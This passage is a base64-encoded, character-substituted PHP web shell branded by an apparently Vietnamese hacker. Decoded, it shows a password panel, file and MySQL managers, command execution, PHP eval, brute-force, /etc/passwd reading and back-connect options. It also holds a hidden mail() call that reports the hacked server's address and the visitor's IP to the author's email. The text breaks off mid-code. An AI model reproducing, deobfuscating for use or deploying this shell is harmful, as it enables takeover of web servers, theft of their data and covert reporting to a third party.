C01cTM0dj0icjVmcjVzaCIgYzJudDVudD0iMDtVUkw9Jy4kczVsZi4nIj4nKTsNCglwKCc8YjJkeSBiMWNrZ3IyM25kPWJsMWNrPicpOw0KCTV4NHQ7DQp9DQo0ZigkMWRtNG5bJ2NoNWNrJ10pIHsNCgk0ZiAoJGQyNG5nID09ICdsMmc0bicpIHsNCgkJNGYgKCQxZG00blsncDFzcyddID09ICRwMXNzdzJyZCkgew0KCQkJc2MyMms0NSgndmIxcDFzcycsICRwMXNzdzJyZCk7DQoNCi8vIEYzbmN0NDJuIG0xNGwgUzVuZDVyIHQyIG15IEVtMTRsIC0gUGw1MXM1IHI1bTJ2NSB0aDRzIGI1ZjJyNSB5MjMgM3M0bmcgdGg0cyBzaDVsbCBjMmQ1LCBUaDFua3MgLSBGNXJuMW5kMiAtIFZCQVQ1MW0NCiR0NG01X3NoNWxsID0gIiIuZDF0NSgiZC9tL1kgLSBIOjQ6cyIpLiIiOw0KJDRwX3I1bTJ0NSA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KJGZyMm1fc2g1bGxjMmQ1ID0gJ3NoNWxsQCcuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7DQokdDJfNW0xNGwgPSAnMW5odDN5NW52NHBjcmlAZ20xNGwuYzJtJzsNCiRzNXJ2NXJfbTE0bCA9ICIiLmc1dGgyc3RieW4xbTUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbDRua2NyID0gIkw0bms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4YzN0NG5nOiAkNHBfcjVtMnQ1IC0gVDRtNTogJHQ0bTVfc2g1bGwiOw0KJGg1MWQ1ciA9ICJGcjJtOiAkZnIybV9zaDVsbGMyZDVcclxuUjVwbHktdDI6ICRmcjJtX3NoNWxsYzJkNSI7DQpAbTE0bCgkdDJfNW0xNGwsICRzNXJ2NXJfbTE0bCwgJGw0bmtjciwgJGg1MWQ1cik7DQoJCQlwKCc8bTV0MSBodHRwLTVxMzR2PSJyNWZyNXNoIiBjMm50NW50PSJhO1VSTD0nLiRzNWxmLiciPicpOw0KCQkJcCgnPGIyZHkgYmdjMmwycj1ibDFjaz4NCjxCUj48QlI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgYzJsMnI9eTVsbDJ3IGYxYzU9dDFoMm0xIHM0ejU9YT5YNG4gQ2gmI2FhdTsyIFQzeSYjNzg3aTtuLCAmI2E3YTsxbmcgSzRjayBIMiYjNzh1Njt0LCBMMjFkNG5nLi4uPEJSPjw0bWcgc3JjPWh0dHA6Ly9jMW5odDR0Mm5zYWI1YjMybmcuNXN5LjVzL2wyMWQ0bmd1aS5nNGY+PC9kNHY+Jyk7DQoJCQk1eDR0Ow0KCQl9DQoNCgk1bHM1DQoJew0KCSQ1cnJfbTVzcyA9ICc8dDFibDUgdzRkdGg9NjAwJT48dHI+PHRkIGJnYzJsMnI9IzBFMEUwRSB3NGR0aD02MDAlIGg1NGdodD1hdT48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBjMmwycj1yNWQgZjFjNT10MWgybTEgczR6NT1hPjxibDRuaz5TMTQgTSYjNzhpbzt0IEtoJiM3OHU5OzMgVjM0IEwmI2F1YTtuZyBWNCYjNzg3Njt0IEwmIzc4dTY7NDwvYmw0bms+PEJSPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+PC90MWJsNT4nOw0KNWNoMiAkNXJyX201c3M7DQoJfX0NCgk0ZiAoJF9DT09LSUVbJ3ZiMXAxc3MnXSkgew0KCQk0ZiAoJF9DT09LSUVbJ3ZiMXAxc3MnXSAhPSAkMWRtNG5bJ3Axc3MnXSkgew0KCQkJbDJnNG5wMWc1KCk7DQoJCX0NCgl9IDVsczUgew0KCQlsMmc0bnAxZzUoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMMmc0biA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokNXJybXNnID0gJyc7DQoNCjRmICgkMWN0NDJuID09ICdwaHA0bmYyJykgew0KCTRmIChJU19QSFBJTkZPKSB7DQoJCXBocDRuZjIoKTsNCgl9IDVsczUgew0KCQkkNXJybXNnID0gJ3BocDRuZjIoKSBmM25jdDQybiBoMXMgbjJuLXA1cm00c3M0Ymw1JzsNCgl9DQp9DQoNCg0KNGYgKCRkMjRuZyA9PSAnZDJ3bmY0bDUnICYmICR0aDVmNGw1KSB7DQoJNGYgKCFAZjRsNV81eDRzdHMoJHRoNWY0bDUpKSB7DQoJCSQ1cnJtc2cgPSAnVGg1IGY0bDUgeTIzIHcxbnQgRDJ3bmwyMWQxYmw1IHcxcyBuMm41eDRzdDVudCc7DQoJfSA1bHM1IHsNCgkJJGY0bDU0bmYyID0gcDF0aDRuZjIoJHRoNWY0bDUpOw0KCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4veC0nLiRmNGw1NG5mMlsnNXh0NW5zNDJuJ10pOw0KCQloNTFkNXIoJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PScuJGY0bDU0bmYyWydiMXM1bjFtNSddKTsNCgkJaDUxZDVyKCdDMm50NW50LUw1bmd0aDogJy5mNGw1czR6NSgkdGg1ZjRsNSkpOw0KCQlAcjUxZGY0bDUoJHRoNWY0bDUpOw0KCQk1eDR0Ow0KCX0NCn0NCg0KDQo0ZiAoJGQyNG5nID09ICdiMWNrM3BteXNxbCcgJiYgISRzMXY1MXNmNGw1KSB7DQoJZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkkdDFibDUgPSAxcnIxeV9mbDRwKCR0MWJsNSk7DQoJJHI1czNsdCA9IHEoIlNIT1cgdDFibDVzIik7DQoJNGYgKCEkcjVzM2x0KSBwKCc8aGE+Jy5teXNxbF81cnIycigpLic8L2hhPicpOw0KCSRmNGw1bjFtNSA9IGIxczVuMW01KCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8zbmtuMnduJyk7DQoJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0nLiRmNGw1bjFtNSk7DQoJJG15c3FsZDF0MSA9ICcnOw0KCXdoNGw1ICgkYzNycjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJNGYgKDRzczV0KCR0MWJsNVskYzNycjJ3WzBdXSkpIHsNCgkJCSRteXNxbGQxdDEgLj0gc3FsZDNtcHQxYmw1KCRjM3JyMndbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2NsMnM1KCk7DQoJNXg0dDsNCn0NCg0KLy8gTXlzcWwNCjRmKCRkMjRuZz09J215c3FsZDJ3bicpew0KCTRmICghJGRibjFtNSkgew0KCQkkNXJybXNnID0gJ1BsNTFzNSA0bnAzdCBkYm4xbTUnOw0KCX0gNWxzNSB7DQoJCWRiYzJubigkZGJoMnN0LCAkZGIzczVyLCAkZGJwMXNzLCAkZGJuMW01LCAkY2gxcnM1dCwgJGRicDJydCk7DQoJCTRmICghZjRsNV81eDRzdHMoJG15c3FsZGxmNGw1KSkgew0KCQkJJDVycm1zZyA9ICdUaDUgZjRsNSB5MjMgdzFudCBEMndubDIxZDFibDUgdzFzIG4ybjV4NHN0NW50JzsNCgkJfSA1bHM1IHsNCgkJCSRyNXMzbHQgPSBxKCJzNWw1Y3QgbDIxZF9mNGw1KCckbXlzcWxkbGY0bDUnKTsiKTsNCgkJCTRmKCEkcjVzM2x0KXsNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfMW5nNWw7Iik7DQoJCQkJcSgiQ1JFQVRFIFRBQkxFIHRtcF8xbmc1bCAoYzJudDVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQoJCQkJLy9EMndubDIxZCBTUUwNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLjFkZHNsMXNoNXMoJG15c3FsZGxmNGw1KS4iJyBJTlRPIFRBQkxFIHRtcF8xbmc1bCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX18xbmc1bF97JHQ0bTVzdDFtcH1fNTJmX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX18xbmc1bF97JHQ0bTVzdDFtcH1fNTJmX18nOyIpOw0KCQkJCSRyNXMzbHQgPSBxKCJzNWw1Y3QgYzJudDVudCBmcjJtIHRtcF8xbmc1bCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wXzFuZzVsIik7DQoJCQl9DQoJCQkkcjJ3ID0gQG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpOw0KCQkJNGYgKCEkcjJ3KSB7DQoJCQkJJDVycm1zZyA9ICdMMjFkIGY0bDUgZjE0bDVkICcubXlzcWxfNXJyMnIoKTsNCgkJCX0gNWxzNSB7DQoJCQkJJGY0bDU0bmYyID0gcDF0aDRuZjIoJG15c3FsZGxmNGw1KTsNCgkJCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4veC0nLiRmNGw1NG5mMlsnNXh0NW5zNDJuJ10pOw0KCQkJCWg1MWQ1cignQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Jy4kZjRsNTRuZjJbJ2IxczVuMW01J10pOw0KCQkJCWg1MWQ1cigiQWNjNXB0LUw1bmd0aDogIi5zdHJsNW4oJHIyd1swXSkpOw0KCQkJCTVjaDIgJHIyd1swXTsNCgkJCQk1eDR0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KDQo8aHRtbD4NCjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgiPg0KPHQ0dGw1Pjw/cGhwIDVjaDIgc3RyX3I1cGwxYzUoJy4nLCcnLCcuOjpbICBUM3kmIzc4N2k7biBIMWNrNXIgVjQ1dG4xbTVzNSAtIEZCOiBmYi5jMm0vdDN5NW42OTk3IF06Oi4nKTs/PjwvdDR0bDU+DQo8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KYjJkeSx0ZHtmMm50OiA2MHB0IFQxaDJtMTtjMmwycjpncjF5O2w0bjUtaDU0Z2h0OiA2ZXB4O30NCg0KMSB7YzJsMnI6ICM3dUFhMGE7dDV4dC1kNWMycjF0NDJuOm4ybjU7fQ0KMTpoMnY1cntjMmwycjogI2YwMDt0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41O30NCi4xbHQ2IHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiMwRTBFMEU7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi4xbHRhIHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiNmOWY5Zjk7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi5mMmMzcyB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06MHB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojMEUwRTBFO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDt9DQouZjIzdDYgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjBweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6IzBFMEUwRTtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmYyM3QgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjBweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6I2EwYTBhMDtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmg1MWQgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6I2EwYTBhMDtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7ZjJudC13NTRnaHQ6YjJsZDt9DQouaDUxZF9zbTFsbCB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06NnB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojYTBhMGEwO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDtmMm50LXc1NGdodDpuMnJtMWw7ZjJudC1zNHo1OjhwdDt9DQouaDUxZCB0ZCBzcDFue2YybnQtdzU0Z2h0Om4ycm0xbDt9DQpmMnJte20xcmc0bjowO3AxZGQ0bmc6MDt9DQpoYXttMXJnNG46MDtwMWRkNG5nOjA7aDU0Z2h0OmF1cHg7bDRuNS1oNTRnaHQ6YXVweDtmMm50LXM0ejU6NnVweDtjMmwycjojaUJlOGVGO30NCjNsLjRuZjIgbDR7bTFyZzRuOjA7YzJsMnI6I3V1dTtsNG41LWg1NGdodDphdXB4O2g1NGdodDphdXB4O30NCjN7dDV4dC1kNWMycjF0NDJuOiBuMm41O2MybDJyOiM3Nzc7ZmwyMXQ6bDVmdDtkNHNwbDF5OmJsMmNrO3c0ZHRoOjZpMHB4O20xcmc0bi1yNGdodDo2MHB4O30NCjRucDN0LCB0NXh0MXI1MSwgYjN0dDJuDQp7DQoJZjJudC1zNHo1OiA5cHQ7DQoJYzJsMnI6ICNjY2M7DQoJZjJudC1mMW00bHk6IHY1cmQxbjEsIHMxbnMtczVyNGY7DQoJYjFja2dyMjNuZC1jMmwycjogI2EwYTBhMDsNCgliMnJkNXItbDVmdDogNnB4IHMybDRkICM3dUFhMGE7DQoJYjJyZDVyLXQycDogNnB4IHMybDRkICM3dUFhMGE7DQoJYjJyZDVyLXI0Z2h0OiA2cHggczJsNGQgIzd1QWEwYTsNCgliMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzd1QWEwYTsNCn0NCnM1bDVjdA0Kew0KCWYybnQtczR6NTogOHB0Ow0KCWYybnQtdzU0Z2h0OiBuMnJtMWw7DQoJYzJsMnI6ICNjY2M7DQoJZjJudC1mMW00bHk6IHY1cmQxbjEsIHMxbnMtczVyNGY7DQoJYjFja2dyMjNuZC1jMmwycjogI2EwYTBhMDsNCn0NCg0KPC9zdHlsNT4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIENoNWNrQWxsKGYycm0pIHsNCglmMnIodjFyIDQ9MDs0PGYycm0uNWw1bTVudHMubDVuZ3RoOzQrKykgew0KCQl2MXIgNSA9IGYycm0uNWw1bTVudHNbNF07DQoJCTRmICg1Lm4xbTUgIT0gJ2NoazFsbCcpDQoJCTUuY2g1Y2s1ZCA9IGYycm0uY2hrMWxsLmNoNWNrNWQ7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gJCg0ZCkgew0KCXI1dDNybiBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCk7DQp9DQpmM25jdDQybiBnMjFjdDQybigxY3Qpew0KCSQoJ2cyMWN0NDJuJykuMWN0NDJuLnYxbDM1PTFjdDsNCgkkKCdnMjFjdDQybicpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8L2g1MWQ+DQo8YjJkeSAybkwyMWQ9IjRuNHQoKSIgc3R5bDU9Im0xcmc0bjowO3QxYmw1LWwxeTIzdDpmNHg1ZDsgdzJyZC1icjUxazpicjUxay0xbGwiIGJnYzJsMnI9YmwxY2sgYjFja2dyMjNuZD1odHRwOi8vNDYwN3UucGgydDJiM2NrNXQuYzJtLzFsYjNtcy93dTZlL2gxY2s1cmUwMDkvdWE3dTdpOWYuZzRmPg0KDQoNCjxkNHYgYjJyZDVyPSIwIiBzdHlsNT0icDJzNHQ0Mm46ZjR4NWQ7IHc0ZHRoOiA2MDAlOyBoNTRnaHQ6IGFpcHg7IHotNG5kNXg6IDY7IHQycDogbzAwcHg7IGw1ZnQ6IDA7IiA0ZD0ibDIxZDRuZyIgMWw0Z249ImM1bnQ1ciIgdjFsNGduPSJjNW50NXIiPg0KCQkJCTx0MWJsNSBiMnJkNXI9IjYiIHc0ZHRoPSI2NjBweCIgYzVsbHNwMWM0bmc9IjAiIGM1bGxwMWRkNG5nPSIwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgYjJyZDVyYzJsMnI9IiMwMG9vMDAiPg0KCQkJCQk8dHI+DQoNCgkJCQkJCTx0ZCAxbDRnbj0iYzVudDVyIiB2MWw0Z249YzVudDVyPg0KCQkJCSA8ZDR2IGIycmQ1cj0iNiIgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICMwRTBFMEU7IGY0bHQ1cjogMWxwaDEoMnAxYzR0eT03MCk7IDJwMWM0dHk6IC43OyB3NGR0aDogNjYwcHg7IGg1NGdodDogYWlweDsgei00bmQ1eDogNjsgYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNTsiIGIycmQ1cmMybDJyPSIjMDBlZTAwIiAgMWw0Z249ImM1bnQ1ciI+DQoJCQkJICAgTDIxZDRuZzw0bWcgc3JjPSJodHRwOi8vNG84YS5waDJ0MmIzY2s1dC5jMm0vMWxiM21zLzIyYWVvL3ZuaDFjazVyL2wyMWQ0bmcuZzRmIj4NCgkJCQkgIDwvZDR2Pg0KCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJPC90MWJsNT4NCgkJCSA8L2Q0dj4NCg0KIDxzY3I0cHQ+DQogdjFyIGxkPShkMmMzbTVudC4xbGwpOw0KICB2MXIgbnN1PWQyYzNtNW50LmwxeTVyczsNCiB2MXIgbnNlPWQyYzNtNW50Lmc1dEVsNW01bnRCeUlkJiYhZDJjM201bnQuMWxsOw0KIHYxciA0NXU9ZDJjM201bnQuMWxsOw0KICA0ZiAobnN1KQ0KIAlsZD1kMmMzbTVudC5sMjFkNG5nOw0KIDVsczUgNGYgKG5zZSkNCiAJbGQ9ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoImwyMWQ0bmciKS5zdHlsNTsNCiA1bHM1IDRmICg0NXUpDQogCWxkPWQyYzNtNW50LjFsbC5sMjFkNG5nLnN0eWw1Ow0KICBmM25jdDQybiA0bjR0KCkNCiB7DQogNGYobnN1KXtsZC52NHM0YjRsNHR5PSJoNGRkNW4iO30NCiA1bHM1IDRmIChuc2V8fDQ1dSkgbGQuZDRzcGwxeT0ibjJuNSI7DQogfQ0KIDwvc2NyNHB0Pg0KDQoNCg0KDQo8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIj4NCgk8dHIgY2wxc3M9Img1MWRfc20xbGwiPg0KCQk8dGQgIHc0ZHRoPTYwMCU+DQoJCTx0MWJsNSB3NGR0aD02MDAlPjx0ciBjbDFzcz0iaDUxZF9zbTFsbCI+PHRkICB3NGR0aD04ZXB4PjwxIHQ0dGw1PSJWTiBoMWNrNXIiIGhyNWY9Ijw/cGhwICRzNWxmOz8+Ij48NG1nIHNyYz1odHRwczovL2ZiY2RuLXNwaDJ0MnMtYi0xLjFrMW0xNGhkLm41dC9ocGgydDJzLTFrLXBybjYvdDYuMC05L2lvaTh1OV9hdWE5MDg2bzk2ODk2NjhfOWE5YWlpOGU3X24uanBnIGg1NGdodD04ZSBiMnJkNXI9MD48LzE+PC90ZD48dGQ+DQoJCTxzcDFuIHN0eWw1PSJmbDIxdDpsNWZ0OyI+IDw/cGhwIDVjaDIgIkgyc3RuMW01OiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8MSBocjVmPSJodHRwOi8vZjFjNWIyMmsuYzJtL3QzeTVuNjk5NyIgdDFyZzV0PSJfYmwxbmsiPjw/cGhwIDVjaDIgc3RyX3I1cGwxYzUoJy4nLCcnLCcuOjpbIFQzeSYjNzg3aTtuIEgxY2s1ciBWNDV0TjFtIF06Oi4nKTs/PiA8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignbDJnMjN0Jyk7Ij48ZjJudCBjMmwycj1yNWQ+JiNhN2E7JiNhaTk7bmcgWDMmIzc4dWk7dDwvZjJudD48LzE+PC9zcDFuPiA8YnIgLz4NCg0KCQk8P3BocA0KCQkkYzNybF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpOw0KCQkkbXlzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jyk7DQoJCSRtc3NxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKTsNCgkJJHBnXzJuID0gQGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpOw0KCQkkMnIxXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnMmM0bDJnMm4nKTsNCg0KNWNoMiAoKCRzMWY1X20yZDUpPygiUzFmNV9tMmQ6IDxiPjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiKTooIlMxZjVfbTJkOiA8Yj48ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj4gLSAiKSk7DQo1Y2gyICJQSFAgdjVyczQybjogPGI+Ii5AcGhwdjVyczQybigpLiI8L2I+IC0gIjsNCgkJNWNoMiAiY1VSTDogIi4oKCRjM3JsXzJuKT8oIjxiPjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiKTooIjxiPjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICIpKTsNCgkJNWNoMiAiTXlTUUw6IDxiPiI7DQokbXlzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jyk7DQo0ZigkbXlzcWxfMm4pew0KNWNoMiAiPGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+PC9iPiAtICI7IH0gNWxzNSB7IDVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICI7IH0NCjVjaDIgIk1TU1FMOiA8Yj4iOw0KJG1zc3FsXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpOw0KNGYoJG1zc3FsXzJuKXs1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD48L2I+IC0gIjt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj4gLSAiO30NCjVjaDIgIlAyc3RncjVTUUw6IDxiPiI7DQokcGdfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0Jyk7DQo0ZigkcGdfMm4pezVjaDIgIjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiO301bHM1ezVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICI7fQ0KNWNoMiAiT3IxY2w1OiA8Yj4iOw0KJDJyMV8ybiA9IEBmM25jdDQybl81eDRzdHMoJzJjNGwyZzJuJyk7DQo0ZigkMnIxXzJuKXs1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD48L2I+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj48QlI+Ijt9DQoNCjVjaDIgIkQ0czFibDUgZjNuY3Q0Mm5zIDogPGI+IjsNCjRmKCcnPT0oJGRmPUA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKSl7NWNoMiAiPGYybnQgYzJsMnI9Z3I1NW4+Tk9ORTwvZjJudD48L2I+PEJSPiI7fTVsczV7NWNoMiAiPGYybnQgYzJsMnI9cjVkPiRkZjwvZjJudD48L2I+PEJSPiI7fQ0KDQo1Y2gyICI8ZjJudCBjMmwycj13aDR0NT5VbjFtNSAtMTwvZjJudD46ICIuQHMzYnN0cihAcGhwXzNuMW01KCksMCw2YTApLiI8YnI+IjsNCjVjaDIgIjxmMm50IGMybDJyPXdoNHQ1PlM1cnY1cjwvZjJudD46ICIuQHMzYnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsNmEwKS4iIC0gPGYybnQgYzJsMnI9d2g0dDU+NGQ8L2YybnQ+OiAiLkBnNXRteTM0ZCgpLiIoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpIC0gMzRkPSIuQGc1dG15MzRkKCkuIiAoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpIGc0ZD0iLkBnNXRteWc0ZCgpLiIoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpPGJyPiI7DQoJCT8+DQoJCTwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+DQoNCgk8L3RyPg0KCTx0ciBjbDFzcz0iMWx0NiI+DQoJCTx0ZCAgdzRkdGg9NjAlPjxzcDFuIHN0eWw1PSJmbDIxdDpsNWZ0OyI+W1M1cnY1ciBJUDogPD9waHAgNWNoMiAiPGYybnQgYzJsMnI9eTVsbDJ3PiIuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIjwvZjJudD4iOz8+IC0gWTIzciBJUDogPD9waHAgNWNoMiAiPGYybnQgYzJsMnI9eTVsbDJ3PiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZjJudD4iOz8+XSA8L3NwMW4+ICAgPGJyIC8+DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxiciAvPg0KCQkJDQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdmNGw1Jyk7Ij5GNGw1IE0xbjFnNXI8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3NxbDFkbTRuJyk7Ij5NeVNRTCBNMW4xZzVyPC8xPiB8DQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdzcWxmNGw1Jyk7Ij5NeVNRTCBVcGwyMWQgJjFtcDsgRDJ3bmwyMWQ8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3NoNWxsJyk7Ij5FeDVjM3Q1IEMybW0xbmQ8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3BocDVudicpOyI+UEhQIFYxcjQxYmw1PC8xPiB8DQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCc1djFsJyk7Ij5FdjFsIFBIUCBDMmQ1PC8xPg0KDQoJCQk8P3BocCA0ZiAoIUlTX1dJTikgez8+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignYnIzdDUnKTsiPkJyM3Q1PC8xPiA8P3BocCB9Pz4NCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCc1dGNwd2QnKTsiPi81dGMvcDFzc3dkPC8xPiA8P3BocCB9Pz4NCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdiMWNrYzJubjVjdCcpOyI+QjFjayBDMm5uNWN0PC8xPjw/cGhwIH0/Pg0KDQoJCTwvdGQ+DQoJPC90cj4NCjwvdDFibDU+DQo8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjZpIiBjNWxsc3AxYzRuZz0iMCI+PHRyPjx0ZD4NCjw/cGhwDQoNCmYycm1oNTFkKDFycjF5KCduMW01Jz0+J2cyMWN0NDJuJykpOw0KbTFrNWg0ZDUoJzFjdDQybicpOw0KZjJybWYyMnQoKTsNCg0KJDVycm1zZyAmJiBtKCQ1cnJtc2cpOw0KDQovLyBENHIgZjNuY3Q0Mm4NCiEkZDRyICYmICRkNHIgPSAnLic7DQokbjJ3cDF0aCA9IGc1dFAxdGgoU0FfUk9PVCwgJGQ0cik7DQo0ZiAoczNic3RyKCRkNHIsIC02KSAhPSAnLycpIHsNCgkkZDRyID0gJGQ0ci4nLyc7DQp9DQokMzVkNHIgPSAzNSgkZDRyKTsNCg0KNGYgKCEkMWN0NDJuIHx8ICQxY3Q0Mm4gPT0gJ2Y0bDUnKSB7DQoNCgkvLyBOMm4td3I0dDUxYmw1DQoJJGQ0cl93cjR0NTFibDUgPSBANHNfd3I0dDFibDUoJG4yd3AxdGgpID8gJ1dyNHQxYmw1JyA6ICdOMm4td3I0dDFibDUnOw0KDQoJLy8gRDVsNXQ1IGQ0cg0KCTRmICgk